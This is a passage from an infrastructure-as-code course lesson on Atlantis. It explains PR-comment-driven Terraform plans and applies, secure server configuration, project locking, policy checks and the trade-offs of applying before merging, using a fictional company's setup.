08-04 closed by pointing out something that had been present all module without our naming it: in everything we have seen so far, the plan is something a machine generates and deposits somewhere for you to go and look at. A PR comment, a status check, a run page. You open the pull request, follow a link, read the plan, come back, approve, and the apply happens somewhere else, triggered by the merge.

Atlantis inverts that relationship. The repository stops being the origin of a process that happens elsewhere and becomes the only interface: the plan appears as a comment written by a bot, the conversation about the change happens in that comment's threads, and the apply is requested by writing atlantis apply the way you would reply to a colleague. It is the sentence we promised when closing module 7: terraform plan stops being a command somebody runs and becomes a PR comment.

This lesson closes module 8. And with it comes a question we have been dodging for four lessons: do you apply before or after merging? The whole module so far has assumed "after", and Atlantis assumes "before". Neither answer is obviously correct, and the difference has consequences worth understanding before choosing.

Security warning. Atlantis is a service you deploy and operate, with write permissions over your infrastructure, that runs Terraform in response to webhooks and to comments written by people on pull requests. It is, by construction, the most sensitive piece in this lesson. Section 4 is not optional.

  1. What GitOps means applied to infrastructure

"GitOps" is used with two different meanings and it is worth separating them before going on, because half the arguments about the term come from mixing them up.

The broad meaning: the repository is the source of truth, changes are proposed as code changes, and the deployment is triggered from the repository. With that definition, the whole of module 8 is GitOps and the term distinguishes nothing.

The strict meaning, the one that comes from Kubernetes: on top of the above, there is an agent that continuously compares the repository's desired state with the system's real state and corrects the difference. There is no pipeline pushing: there is a controller pulling and reconciling.

Atlantis sits in between, and that is what makes it interesting: the repository is not only the origin of the change, it is the complete operating interface. There is no CI console to visit and no run page: everything happens in the pull request's conversation.

Dimension The classic pipeline (08-01 to 08-03) HCP Terraform (08-04) Atlantis Continuous reconciliation
Where the truth lives The repository The repository + the workspace's configuration The repository The repository
Who triggers the plan A push event A push event, or the API A webhook or a comment The controller, in a loop
Where the plan is reviewed A comment generated by a script The run's page The comment, in the thread There is no review: it is applied
Who approves The PR reviewer + the protected environment The reviewer + whoever confirms the run The PR reviewer, full stop Nobody: the merge is the approval
Who triggers the apply The merge Confirmation on the platform A comment: atlantis apply The controller
Merge/apply order Merge → apply Merge → apply Apply → merge Merge → reconcile
Operating interface The CI console The HCP console The repository The repository + the controller's dashboard
Who operates the service Your CI provider HashiCorp You You
Drift Detected by a cron job Detected by the platform It does not manage it Corrected automatically

The two rows that define Atlantis's character are the sixth and the seventh: you apply before merging, and the interface is the repository. Everything else follows from there.

  1. What Atlantis is and how it works

Atlantis is an open-source server, written in Go, deployed as a container. It does three things:

  1. It listens to webhooks from the version control system (GitHub, GitLab, Bitbucket, Azure DevOps).
  2. It runs terraform in a working directory holding the PR's code.
  3. It replies on the PR with the result.

It is not a CI, it is not a state manager, it is not a policy engine. It is an intermediary between the comments on a pull request and the Terraform command line. The state stays in your S3 backend, the locking stays in DynamoDB, the policies stay the Conftest ones from 07-04.

flowchart LR
    subgraph REPO["GitHub"]
        PR["Pull Request"]
    end

    subgraph ATL["Atlantis server (yours)"]
        W["Webhook receiver"]
        E["Terraform executor"]
        L["Project lock"]
        D[("Working directory<br/>and data")]
    end

    subgraph AWS["Your cloud"]
        S3[("State in S3")]
        INF["Infrastructure"]
    end

    PR -->|"webhook: push / comment"| W
    W --> E
    E --> L
    E -->|"terraform plan / apply"| S3
    E -->|"terraform apply"| INF
    E -->|"comment with the result"| PR

    style ATL fill:#fef3c7,stroke:#b45309

What to take away from the diagram: the yellow box is a service you deploy, that holds write credentials over your cloud, and that acts when somebody writes a comment. That combination is the origin of every warning in §4.

  1. The complete cycle: from the pull request to the apply

sequenceDiagram
    actor Dev as Developer
    participant GH as GitHub
    participant A as Atlantis
    participant TF as Terraform / AWS
    actor Rev as Reviewer

    Dev->>GH: Opens the PR<br/>(touches infra/app/**)
    GH->>A: webhook: pull_request opened
    A->>A: autoplan? does any path match?
    A->>A: Acquires the project LOCK
    A->>TF: init + plan (READ-ONLY role)
    TF-->>A: the plan
    A->>GH: Comment with the plan<br/>and the available commands

    Rev->>GH: Reads the plan IN THE PR
    Note over Rev,GH: No need to go anywhere:<br/>the diff and the plan, together

    Rev->>GH: Approves the PR
    Dev->>GH: Comment: "atlantis apply"
    GH->>A: webhook: issue_comment
    A->>A: apply_requirements?<br/>approved + mergeable + undiverged
    A->>TF: apply OF THE SAVED PLAN (WRITE role)
    TF-->>A: result
    A->>GH: Comment with the apply's output
    A->>A: Releases the LOCK

    Dev->>GH: Merges the PR
    Note over Dev,GH: The infrastructure is ALREADY applied.<br/>The merge records the change.

The two differences from everything before leap out of the diagram:

  • The plan is read inside the PR, in the same place as the code diff. No links, no tabs, no credentials needed to see a CI console.
  • The apply happens before the merge, and the merge is the last step, not the trigger.

And a third one that is not visible but matters: the apply uses the saved plan, just as in 08-01 §6. Atlantis stores the .tfplan in its working directory and applies it verbatim. If the state has changed between the plan and the apply, you get the same old Saved plan is stale.

  1. Deploying Atlantis: requirements and warnings

What you need

Requirement Detail
A server the VCS can reach GitHub has to be able to reach https://atlantis.ecomarket.example.com/events
Cloud credentials An instance role, IRSA, or whatever authentication you use
A VCS token To read PRs and write comments
A webhook secret To verify that the webhook comes from GitHub
Persistent storage The locks and the working directories; they are lost if the container is recreated
TLS Mandatory: plans with sensitive data travel over it
docker run -d --name atlantis \
  -p 4141:4141 \
  -v /data/atlantis:/atlantis-data \
  -e ATLANTIS_GH_USER=atlantis-ecomarket \
  -e ATLANTIS_GH_TOKEN="$(cat /run/secrets/gh_token)" \
  -e ATLANTIS_GH_WEBHOOK_SECRET="$(cat /run/secrets/webhook_secret)" \
  -e ATLANTIS_ATLANTIS_URL=https://atlantis.ecomarket.example.com \
  -e ATLANTIS_DATA_DIR=/atlantis-data \
  \
  `# --- THE MOST IMPORTANT FLAG OF ALL ---` \
  `# Without repo-allowlist, Atlantis accepts webhooks from ANY` \
  `# repository. Somebody creates a repository with a malicious .tf,` \
  `# points a webhook at your server, and your Atlantis runs their` \
  `# code WITH YOUR production CREDENTIALS.` \
  -e ATLANTIS_REPO_ALLOWLIST='github.com/ecomarket/ecomarket-infra' \
  \
  `# --- The control over what the repository may configure (§5) ---` \
  -e ATLANTIS_REPO_CONFIG=/etc/atlantis/repos.yaml \
  \
  `# --- Additional security flags ---` \
  -e ATLANTIS_WRITE_GIT_CREDS=false \
  -e ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true \
  -e ATLANTIS_DISABLE_APPLY_ALL=true \
  -e ATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true \
  \
  ghcr.io/runatlantis/atlantis:v0.28.5

The five security warnings

1. It is a service with write permissions over your cloud, exposed to webhooks.

There is no softening this: if somebody compromises the Atlantis server, they have your infrastructure. It is the same threat model as the Jenkins controller (08-02 §14) or a self-hosted runner (08-03 §10), and it deserves the same treatment.

2. --repo-allowlist is mandatory and specific.

Value What it accepts Verdict
* Any repository in the world Catastrophic: remote code execution with your credentials
github.com/ecomarket/* Any repository in the organisation Risky: anybody who can create a repository
github.com/ecomarket/ecomarket-infra Only that one Correct

It is exactly the same reasoning as the OIDC sub wildcards in 08-03 §3, with the same consequences.

3. The webhook secret must be configured and verified.

Without it, anybody who knows the URL can send a fake event: "atlantis apply has been commented on PR 42". Atlantis verifies the webhook's HMAC signature; with no secret, it verifies nothing.

4. The network: private, or at least restricted.

The ideal option is for Atlantis not to be on the internet and for the webhooks to arrive over a private route (GitHub Enterprise on the network, or a tunnel). If it has to be exposed:

  • Only the /events endpoint, none of the web interface.
  • Restricted to GitHub's webhook IP ranges.
  • Behind a WAF and with TLS.
  • The Atlantis interface, over VPN only: it shows the locks and lets you release them.

5. Whoever can comment, can apply.

It is the most counter-intuitive consequence of the model. In a classic pipeline, applying to production requires permissions in the CI. In Atlantis, it requires permission to write a comment on a PR, which in many repositories many more people have.

The mitigations:

# In the server's configuration (repos.yaml), not in the repository:
repos:
  - id: github.com/ecomarket/ecomarket-infra
    # Only these teams can run Atlantis commands.
    # Without this, anybody with read access and the ability to comment
    # can launch an apply.
    apply_requirements: [approved, mergeable, undiverged]
    allowed_overrides: [workflow]
    allow_custom_workflows: false

And, at repository level, branch protection requiring a platform-team review for infra/prod (07-02, CODEOWNERS).

  1. atlantis.yaml: EcoMarket's projects

The atlantis.yaml file at the root of the repository declares the projects: each combination of directory and environment Atlantis must treat separately.

# atlantis.yaml — at the root of ecomarket-infra.
version: 3

# If a PR touches several projects, Atlantis plans them in parallel.
# 3 is conservative: each one consumes memory and makes AWS requests.
parallel_plan: true
parallel_apply: false      # the applies, one at a time: fewer surprises

# On merge, Atlantis deletes the locks and the working directories.
automerge: false           # a person does the merging (§11)
delete_source_branch_on_merge: true

projects:

  # ============ COMPONENT: network ============
  - name: network-dev
    dir: infra/network
    workspace: dev
    terraform_version: v1.9.8
    autoplan:
      # The paths that trigger an automatic plan when the PR is opened
      # or updated. The SHARED files are included deliberately
      # (08-01 §9): a change in environments/ affects everything.
      when_modified:
        - "*.tf"
        - "../../modules/**/*.tf"
        - "../../environments/common.auto.tfvars"
        - "../../environments/dev.tfvars"
        - "../../backends/dev.hcl"
      enabled: true
    workflow: ecomarket
    apply_requirements: [approved, mergeable]

  - name: network-staging
    dir: infra/network
    workspace: staging
    terraform_version: v1.9.8
    autoplan:
      when_modified: ["*.tf", "../../modules/**/*.tf",
                      "../../environments/common.auto.tfvars",
                      "../../environments/staging.tfvars"]
      enabled: true
    workflow: ecomarket
    apply_requirements: [approved, mergeable, undiverged]

  - name: network-prod
    dir: infra/network
    workspace: prod
    terraform_version: v1.9.8
    autoplan:
      when_modified: ["*.tf", "../../modules/**/*.tf",
                      "../../environments/common.auto.tfvars",
                      "../../environments/prod.tfvars"]
      enabled: true
    workflow: ecomarket-prod          # with Conftest and extra guards
    apply_requirements: [approved, mergeable, undiverged]

  # ============ COMPONENT: data ============
  - name: data-dev
    dir: infra/data
    workspace: dev
    terraform_version: v1.9.8
    autoplan:
      when_modified: ["*.tf", "../../modules/**/*.tf",
                      "../../environments/common.auto.tfvars",
                      "../../environments/dev.tfvars"]
      enabled: true
    workflow: ecomarket
    apply_requirements: [approved, mergeable]

  # (data-staging and data-prod, analogous)

  # ============ COMPONENT: app ============
  - name: app-dev
    dir: infra/app
    workspace: dev
    terraform_version: v1.9.8
    autoplan:
      when_modified: ["*.tf", "../../modules/**/*.tf",
                      "../../environments/common.auto.tfvars",
                      "../../environments/dev.tfvars"]
      enabled: true
    workflow: ecomarket
    apply_requirements: [approved, mergeable]

  # (app-staging and app-prod, analogous)

The details that matter

workspace here is NOT a Terraform CLI workspace in the sense of 06-01. It is an Atlantis concept for distinguishing runs of the same directory with different configurations. Atlantis does run terraform workspace select, so if your code uses a single state with -backend-config, you have to disable that in the custom workflow (§6). It is Atlantis's number one source of confusion, and it directly affects EcoMarket, which decided in 06-01 not to use workspaces.

terraform_version per project is a valuable property: it lets you migrate versions component by component. Atlantis downloads the specified version and uses it for that project.

when_modified with paths relative to dir. The ../../ is because the paths are interpreted from the project's directory. It is easy to get wrong, and the symptom is that the autoplan never triggers when a shared file changes.

apply_requirements stricter in staging and prod (undiverged), for the reason explained in §7.

Generating the atlantis.yaml rather than writing it

Nine projects written by hand is 200 lines of repetitive YAML that goes out of sync. It deserves generating:

#!/usr/bin/env bash
# ci/generate-atlantis-yaml.sh
# Generates atlantis.yaml from the component x environment matrix.
# The CI checks that the committed file matches what it would
# generate, just like terraform-docs --output-check (08-01 §15).
set -euo pipefail

COMPONENTS=(network data app)
ENVIRONMENTS=(dev staging prod)

{
  echo "# GENERATED by ci/generate-atlantis-yaml.sh. Do NOT edit by hand."
  echo "version: 3"
  echo "parallel_plan: true"
  echo "parallel_apply: false"
  echo "automerge: false"
  echo "projects:"

  for comp in "${COMPONENTS[@]}"; do
    for env in "${ENVIRONMENTS[@]}"; do
      # dev demands less: it is never diverged because it gets recreated.
      if [ "$env" = "dev" ]; then
        REQ="[approved, mergeable]"
        WF="ecomarket"
      else
        REQ="[approved, mergeable, undiverged]"
        WF=$([ "$env" = "prod" ] && echo "ecomarket-prod" || echo "ecomarket")
      fi

      cat <<YAML
  - name: ${comp}-${env}
    dir: infra/${comp}
    workspace: ${env}
    terraform_version: v$(cat .terraform-version)
    workflow: ${WF}
    apply_requirements: ${REQ}
    autoplan:
      enabled: true
      when_modified:
        - "*.tf"
        - "../../modules/**/*.tf"
        - "../../environments/common.auto.tfvars"
        - "../../environments/${env}.tfvars"
        - "../../backends/${env}.hcl"
        - "../../ci/policies/**"
YAML
    done
  done
} > atlantis.yaml
# And the CI check that stops it going out of sync:
ci/generate-atlantis-yaml.sh
git diff --exit-code atlantis.yaml || {
  echo "atlantis.yaml does not match what the script generates."
  echo "Run ci/generate-atlantis-yaml.sh and add the result to the PR."
  exit 1
}

  1. Custom workflows: chaining module 7's tools

By default, Atlantis runs a bare init, plan and apply. A custom workflow lets you put everything from module 7 in before the plan.

# In the SERVER's repos.yaml (not in the repository), if
# allow_custom_workflows is false. Or in atlantis.yaml if it is allowed.
workflows:

  ecomarket:
    plan:
      steps:
        # --- 1. Formatting and validation: the cheapest first (08-01 §3) ---
        - run: terraform fmt -check -recursive -no-color

        # --- 2. init with the backend DERIVED from the workspace ---
        # The single parameter from 08-01 §9: the backend, the tfvars
        # and everything else come out of $WORKSPACE.
        - run: |
            terraform init -input=false -no-color -reconfigure \
              -lockfile=readonly \
              -backend-config="$REPO_ROOT/backends/${WORKSPACE}.hcl"

        # --- 3. Do NOT select a CLI workspace ---
        # EcoMarket decided in 06-01 NOT to use CLI workspaces.
        # Atlantis selects them by default, so the "init" step has to
        # be replaced by a "run" of our own, as above, and the
        # implicit workspace step must NOT be included.

        - run: terraform validate -no-color

        # --- 4. Linter and scanner (07-03, 07-04) ---
        - run: tflint --chdir="$DIR" --recursive --format=compact
        - run: trivy config --exit-code 1 --severity HIGH,CRITICAL "$DIR"

        # --- 5. Unit tests with mock_provider (07-03) ---
        - run: terraform test -filter=tests/unit -no-color

        # --- 6. THE PLAN. Atlantis stores the .tfplan in $PLANFILE ---
        - run: |
            terraform plan -input=false -no-color -lock-timeout=5m \
              -var-file="$REPO_ROOT/environments/common.auto.tfvars" \
              -var-file="$REPO_ROOT/environments/${WORKSPACE}.tfvars" \
              -out="$PLANFILE"

        # --- 7. Conftest policies over the plan (07-04) ---
        - run: |
            terraform show -json "$PLANFILE" > plan.json
            conftest test --policy "$REPO_ROOT/ci/policies/" \
              --parser json plan.json

        # --- 8. Destruction guard (08-01 §8) ---
        - run: PLAN_JSON=plan.json "$REPO_ROOT/ci/destroy-guard.sh" "$WORKSPACE"

        # --- 9. Delete the JSON: it contains secrets in the clear ---
        - run: rm -f plan.json

        # --- 10. The summary Atlantis publishes in the comment ---
        # show WITHOUT -json: it respects sensitive (08-01 §7).
        - run: terraform show -no-color "$PLANFILE"

    apply:
      steps:
        # Applies EXACTLY the saved plan: the rule from 08-01 §6.
        # No -auto-approve and no -var-file, which would error.
        - run: terraform apply -input=false -no-color -lock-timeout=10m "$PLANFILE"

  ecomarket-prod:
    plan:
      steps:
        # Everything above, plus the deployment window.
        - run: "$REPO_ROOT/ci/deployment-window.sh"
        - run: terraform fmt -check -recursive -no-color
        - run: |
            terraform init -input=false -no-color -reconfigure \
              -lockfile=readonly \
              -backend-config="$REPO_ROOT/backends/prod.hcl"
        - run: terraform validate -no-color
        - run: tflint --chdir="$DIR" --recursive --format=compact
        - run: trivy config --exit-code 1 --severity HIGH,CRITICAL "$DIR"
        - run: terraform test -filter=tests/unit -no-color
        - run: |
            terraform plan -input=false -no-color -lock-timeout=5m \
              -var-file="$REPO_ROOT/environments/common.auto.tfvars" \
              -var-file="$REPO_ROOT/environments/prod.tfvars" \
              -out="$PLANFILE"
        - run: |
            terraform show -json "$PLANFILE" > plan.json
            conftest test --policy "$REPO_ROOT/ci/policies/" --parser json plan.json
        # In prod, a ZERO threshold for destructions (08-01 §8).
        - run: PLAN_JSON=plan.json "$REPO_ROOT/ci/destroy-guard.sh" prod
        - run: rm -f plan.json
        - run: terraform show -no-color "$PLANFILE"

    apply:
      steps:
        # The plan's freshness is checked RIGHT before applying:
        # in Atlantis a lot of time can pass between the autoplan and
        # the "atlantis apply" comment (08-01 §6).
        - run: "$REPO_ROOT/ci/check-plan-freshness.sh" "$PLANFILE"
        - run: "$REPO_ROOT/ci/deployment-window.sh"
        - run: terraform apply -input=false -no-color -lock-timeout=10m "$PLANFILE"

The environment variables Atlantis exposes

Variable Contains
$DIR The absolute path of the project's directory
$REPO_ROOT The root of the cloned repository
$WORKSPACE The project's workspace: dev, staging, prod
$PLANFILE The path where Atlantis expects the .tfplan
$PROJECT_NAME The project's name
$PULL_NUM The PR number
$PULL_AUTHOR Who opened it
$HEAD_COMMIT The SHA
$BASE_BRANCH_NAME The target branch

$WORKSPACE is the piece that implements the single parameter from 08-01 §9 inside Atlantis: the backend, the .tfvars and the destruction threshold all come from it.

$PLANFILE must be respected. If the workflow writes the plan somewhere else, the apply step cannot find it and Atlantis plans again, breaking the "you apply what was approved" rule.

Security warning about allow_custom_workflows. If the server lets the repository's atlantis.yaml define workflows, a PR can write any command into a run step and Atlantis will execute it with its credentials. It is exactly the Jenkinsfile problem from 08-02 §14, and the solution is the same: allow_custom_workflows: false on the server, and the workflows defined in repos.yaml, out of reach of a PR.

  1. apply_requirements: Atlantis's gates

Requirement What it demands What it prevents
approved The PR has at least one approval Somebody applying their own change without review
mergeable The PR can be merged: no conflicts, checks green, branch protection satisfied Applying something that will not be able to merge
undiverged The PR's branch is up to date with the base branch Applying a plan computed against stale code
policies_passed The policy_check policies passed Applying something the policy rejects

undiverged: the most underestimated requirement

The scenario it prevents:

  1. PR A is opened, changing the instance size. Atlantis plans: "3 to change".
  2. PR B is merged, renaming a bucket without a moved block (03-05).
  3. A's branch does not include B's change: it is diverged.
  4. Somebody writes atlantis apply on A.
  5. A's plan is applied, computed against code that knows nothing about B's rename.
  6. Result: the infrastructure ends up in a state that matches no version of the code.

undiverged requires the branch to be up to date with the base, which forces a rebase or a merge of main into the branch before applying. And rebasing triggers a fresh autoplan, which does see B's change.

It is Atlantis's most important protection and the one most people disable because "it is annoying". It is: it forces branches to be kept short and up to date, which is precisely the practice 07-02 recommended.

EcoMarket's trade-off: undiverged in staging and prod, not in dev. In dev the blast radius is zero and the friction is not worth it.

mergeable and branch protection

mergeable delegates to the version control system, so it inherits the whole configuration from 07-02: CODEOWNERS, the number of approvals, mandatory status checks.

That is the correct route to requiring two people in production: there is no apply_requirements: two_approvals, but GitHub's branch protection does let you require two approvals and a code-owner review for infra/prod/**. Atlantis honours that via mergeable.

  1. Commands by comment

Command What it does
atlantis plan Re-plans all the affected projects
atlantis plan -p app-prod Only that project
atlantis plan -d infra/app -w prod By directory and workspace
atlantis plan -- -target=aws_instance.web Passes arguments to terraform plan (after --)
atlantis apply Applies all the PR's pending plans
atlantis apply -p app-prod Only that project
atlantis unlock Releases all the PR's locks
atlantis approve_policies Approves failed policies (with permission)
atlantis help The list of commands

Three operational notes

atlantis apply with no arguments applies everything. With nine projects and a change that touches all three environments, a distracted atlantis apply applies to production. That is why EcoMarket's server carries --disable-apply-all, which forces you to name the project:

atlantis apply -p app-dev        # explicit, always

atlantis plan -- -target=... is an open door. It lets anybody pass arbitrary arguments to Terraform, -target included, which 08-01 §13 put on the list of what is not automated. It is restricted on the server:

repos:
  - id: github.com/ecomarket/ecomarket-infra
    # Forbid arbitrary arguments from the comments.
    allowed_overrides: [workflow]
    delete_source_branch_on_merge: true

There is a --silence-vcs-status-no-plans and several noise-related flags. With nine projects and PRs that touch one, the bot comments nine times if it is not configured. --hide-prev-plan-comments solves the most annoying version of the problem: old plans are collapsed when a new one arrives, which is the same "update instead of append" pattern as 08-03 §7.

  1. Project locking and its relationship to state locking

Atlantis introduces a third layer of locking, and it is worth placing it alongside the two we already know.

Layer What it protects Where it lives Scope Released
State lock (03-04) Corruption of the state file DynamoDB or .tflock Everybody, a laptop included When the command finishes
CI concurrency group (08-01 §11) Jobs starting that will only wait The CI system That CI When the job finishes
Atlantis project lock Two different PRs planning the same project Atlantis That repository's PRs On merge, on close, or with atlantis unlock

The key difference of Atlantis's lock: it lasts as long as the PR, not as long as a command.

sequenceDiagram
    participant PR1 as PR #41 (changes the size)
    participant A as Atlantis
    participant PR2 as PR #42 (changes a tag)

    PR1->>A: opens PR, autoplan of app-prod
    A->>A: LOCKS the app-prod project for PR #41
    A-->>PR1: comment with the plan

    PR2->>A: opens PR, autoplan of app-prod
    A-->>PR2: "app-prod is locked by PR #41"
    Note over PR2: NOTHING is planned. #42's author<br/>sees who holds it and why.

    PR1->>A: atlantis apply -p app-prod
    A-->>PR1: applied
    PR1->>A: merges the PR
    A->>A: RELEASES the lock

    A->>PR2: automatic autoplan once released
    A-->>PR2: comment with the plan, now against the new reality

Why this is more useful than it looks: it prevents a whole class of confusion. Without it, PRs 41 and 42 would each have a plan computed without knowing about the other, and whichever applied second would produce a result nobody foresaw. With it, changes to the same project are serialised at the pull-request level, not just at the command level.

The price is friction: with a large team and a heavily touched project, PRs queue up. The mitigation is not to disable the lock: it is to split the project, which is the same answer 07-01 gives to "the plan takes too long".

Orphan locks

An abandoned PR leaves its lock indefinitely. The symptoms and the solutions:

Situation Solution
A PR abandoned without closing Close it: the lock releases itself
You need to unlock without closing atlantis unlock in a PR comment
The PR no longer exists and the lock remains Release it from Atlantis's web interface (over VPN)
Atlantis restarted and lost the locks This happens if ATLANTIS_DATA_DIR is not persistent. Configure persistent storage

And a warning that connects with 08-01 §11: Atlantis's project lock is not the state lock. If an Atlantis apply is interrupted, an orphan lock can be left in DynamoDB that atlantis unlock does not touch. That one still needs a verified manual force-unlock.

  1. Policies with policy_check and Conftest

Atlantis integrates Conftest as a phase of the flow, much as HCP integrates Sentinel.

# In the SERVER's configuration.
policies:
  owners:
    # Who can run "atlantis approve_policies".
    # It is NOT the same group that can apply: it is a deliberate
    # separation, like HCP's override permission (08-04 §16).
    teams:
      - security

  policy_sets:
    - name: ecomarket-security
      path: /etc/atlantis/policies       # on the SERVER, not in the repository
      source: local
# And in the workflow:
workflows:
  ecomarket-prod:
    policy_check:
      steps:
        - show                    # generates the plan's JSON
        - policy_check            # runs Conftest over it

The detail that decides whether this is a control or not is the same argument as 07-04 and 08-04: where path lives.

Where the policies live Is it a control?
ci/policies/ in the infrastructure repository No: whoever changes the infrastructure changes them in the same PR
/etc/atlantis/policies on the server, deployed from another repository Yes: whoever opens the PR has no access to the server

With the policies on the server, Atlantis reaches the same property as Sentinel in HCP: the key is in another building. And with no licence cost, in exchange for operating the server.

atlantis approve_policies is the equivalent of the soft-mandatory override: it allows continuing despite a failed policy, only for members of the configured team, and it is recorded on the PR.

  1. The order of merge and apply: the central question

Here is the fundamental difference between Atlantis and everything before it, and it deserves the full discussion because there is no correct answer.

Merge and then apply (08-01 to 08-04) Apply and then merge (Atlantis)
main reflects... What should be deployed What is deployed
If the apply fails main holds code that is not applied The PR stays open: it is fixed where it was
Rollback git revert + a new apply Close the PR: nothing reached main
Transient state Between merge and apply, main lies Between apply and merge, main is behind
Several PRs at once They merge and apply in merge order The lock serialises them from the start
If somebody forgets to merge Nothing applies: the merge is the trigger The infrastructure changed and the code did not: drift created by the process itself
Auditing The merge commit is the record The apply comment is the record
Fits with Branch protection, protected environments Review on the PR, conversation

The argument for applying before merging

main always reflects reality. In the classic model there is a window — between the merge and the apply finishing — in which main asserts something that is not yet true. If the apply fails, that window never closes: main contains unapplied code, and the next person to merge will build on top of a lie.

With Atlantis, if the apply fails, the PR stays open. The author fixes it in their branch, re-plans, applies again. main never contained the broken change.

The argument against

The failure of forgetting to merge is worse than the failure of a failed apply. If somebody applies and goes to lunch without merging, the infrastructure changed and main does not know it. Any other PR that plans will see that change as something to undo.

And there is an auditing problem: in the classic model, the question "what is deployed?" is answered by looking at main. With Atlantis, it is answered by looking at main plus the applied but unmerged PRs, which is a worse source of truth.

The hard case: the apply fails with the PR already approved

It is the scenario that comes up most in practice and it deserves a procedure:

1. `atlantis apply -p app-prod` fails half-way.
   → 4 of 7 resources have been created. The state records the 4.

2. Do NOT close the PR. Do NOT merge. Do NOT blindly re-run.

3. Diagnose the error in Atlantis's comment:
   - Quota exhausted? → sort out the quota, `atlantis apply` again.
     Terraform is incremental: it will create the 3 that are missing.
   - A permissions error? → fix the role, retry.
   - A conflict with something that already exists? → an `import`
     may be needed (06-04), which is a code change: it goes in the same PR.
   - A provider error with an inconsistent state? → module 9.

4. `atlantis plan` to see what is still pending. The new plan will
   say "3 to create" if the first 4 are fine.

5. Only when `atlantis apply` finishes cleanly, merge.

6. If the change has to be abandoned: closing the PR is NOT enough.
   The 4 created resources are still there. You have to revert the
   code in the branch and apply the reversal BEFORE closing.

Point 6 is the one people skip, and it is this model's characteristic failure. In the classic model, closing a PR without merging leaves no trace in the infrastructure. In Atlantis, it does. Closing a PR with applied resources creates orphan infrastructure: it exists, it is in the state, and no code on main describes it.

The mitigation is a team rule: a PR with an atlantis apply executed is not closed; it is merged or reverted by applying. And an automatic check helps:

# A CI workflow that warns when a PR is closed without merging having
# had applies. It is the safety net for point 6.
on:
  pull_request:
    types: [closed]

jobs:
  warn-orphan-apply:
    if: github.event.pull_request.merged == false
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            const comments = await github.paginate(
              github.rest.issues.listComments,
              { owner: context.repo.owner, repo: context.repo.repo,
                issue_number: context.issue.number });

            // Look for successful apply comments from the Atlantis bot.
            const applies = comments.filter(c =>
              c.user.login === 'atlantis-ecomarket' &&
              /Apply\b.*\bSuccess/i.test(c.body));

            if (applies.length > 0) {
              await github.rest.issues.createComment({
                owner: context.repo.owner, repo: context.repo.repo,
                issue_number: context.issue.number,
                body: `## WARNING: PR closed without merging after ${applies.length} apply(s)

            This PR ran \`atlantis apply\` successfully and has been closed
            **without merging**. The infrastructure it created **still exists**
            and no code on \`main\` describes it.

            What to do now, one of two things:
            1. **Reopen the PR and merge it**, if the change was correct.
            2. **Reopen, revert the code in the branch, \`atlantis apply\`**
               to destroy what was created, and then close.

            Ignoring this warning leaves orphan resources that will show up in
            the next drift detection and in the bill.

            cc @ecomarket/platform`,
              });
              // And an issue, because a comment on a closed PR
              // is seen by nobody.
              await github.rest.issues.create({
                owner: context.repo.owner, repo: context.repo.repo,
                title: `Possible orphan infrastructure: PR #${context.issue.number}`,
                labels: ['orphan-infrastructure', 'urgent'],
                body: `PR #${context.issue.number} was closed without merging after applying.`,
              });
            }

  1. Alternatives and close cousins

Tool Model Managed Cost What it adds over Atlantis
Atlantis Apply by PR comment No: you operate it Free —
Digger The same, but it runs in your CI Partly Free / paid There is no server to operate: the runners are your CI's
Spacelift A complete platform Yes Paid OPA policies, stacks with dependencies, your own workers, drift
env0 A complete platform Yes Paid A focus on cost and on self-service by templates
Terrakube A platform, open source No Free A self-hosted alternative to HCP, with a registry and policies
Scalr A complete platform Yes Paid A hierarchy of accounts and environments
Argo CD + a Terraform operator Continuous reconciliation No Free A controller that corrects drift on its own
Crossplane Continuous reconciliation, without Terraform No Free Infrastructure as Kubernetes resources

Digger, the closest relative

It deserves a note because it resolves Atlantis's main objection. Digger does the same thing but with no server: instead of a service with credentials, it uses a CI workflow that reacts to the comments.

Atlantis Digger
Where Terraform runs On the Atlantis server On your CI runner
Credentials On the server, permanent The CI's OIDC, ephemeral (08-03)
What you have to operate A service exposed to webhooks Nothing
Locking Its own, persistent With DynamoDB or the orchestrator's backend
Maturity Widely used, years of service Younger

That second row is important: with Digger, all the OIDC work from 08-03 is reused as is, and the service with long-lived credentials — Atlantis's main risk — disappears.

Spacelift and env0, the paid category

They are direct competitors to HCP Terraform with approaches of their own: Spacelift bets on OPA policies at every phase and on stacks with dependencies; env0 on cost management and self-service. Both have trial versions and both solve the same problem as 08-04, with the same underlying question: does it pay off to pay for not building it?

  1. GitOps by pull request versus continuous reconciliation

This is the most important conceptual distinction in the lesson, and the one most often confused when talking about GitOps.

GitOps by pull request (Atlantis, Digger, HCP) Continuous reconciliation (Argo CD + operator, Crossplane, Flux)
What triggers the action A human event: a push, a comment, an approval A loop: every N seconds, compare and correct
Who decides to apply A person The controller
Drift Detected by a cron job (08-01 §12) and somebody decides Corrected on its own, without asking
If somebody touches the console It shows up in tomorrow's drift report It is reverted in seconds
Advantage Full control over when production changes Reality cannot drift away from the code
Risk Drift accumulates if nobody reads the report Reverting an incident mitigation
Fits with Stateful infrastructure: databases, networks Stateless workloads, Kubernetes

Why EcoMarket does not continuously reconcile its infrastructure

The scenario, which is not hypothetical:

03:10  Incident: the store is not responding. The data "http" check
       against https://ecomarket.example.com/health returns 503.
03:25  The on-call engineer diagnoses it: the scaling group is maxed
       out and cannot keep up. They raise desired_capacity from 6 to
       20 from the AWS console. The store recovers.
03:40  Incident mitigated. It is noted down to be put into the code in the morning.
03:41  The reconciliation controller detects the difference between
       the code (6) and reality (20).
03:42  The controller "corrects" the drift: it lowers it back to 6.
03:47  The store goes down again. A second incident, this time caused
       by the tool that was supposed to help.

The underlying problem: continuous reconciliation assumes the code is always right. For a stateless workload on Kubernetes, that is almost always true: if the code says 3 replicas and there are 5, one is surplus. For stateful infrastructure and for operational situations, it is not: a person can know something the code does not know yet.

Resource Continuous reconciliation? Why
A stateless Kubernetes deployment Yes It is the case it was invented for
A load balancer's configuration Probably Reversible, no data
An auto-scaling group No, or with ignore_changes Scaling is dynamic by design
A database No A replacement destroys data
Network, VPC, subnets No Rebuilding them disconnects everything
Production DNS records With care A reversal redirects traffic

The rule that follows: continuous reconciliation is appropriate where manual operation is not legitimate. Where it is — and in infrastructure it often is, at three in the morning — correcting automatically turns one incident into two.

It is, exactly, the same conclusion 08-01 §12 reached when deciding what to do with detected drift: warn in staging and prod, self-correct only in dev. Continuous reconciliation is that same decision, taken to the extreme and applied to everything.

Crossplane, which is a different thing

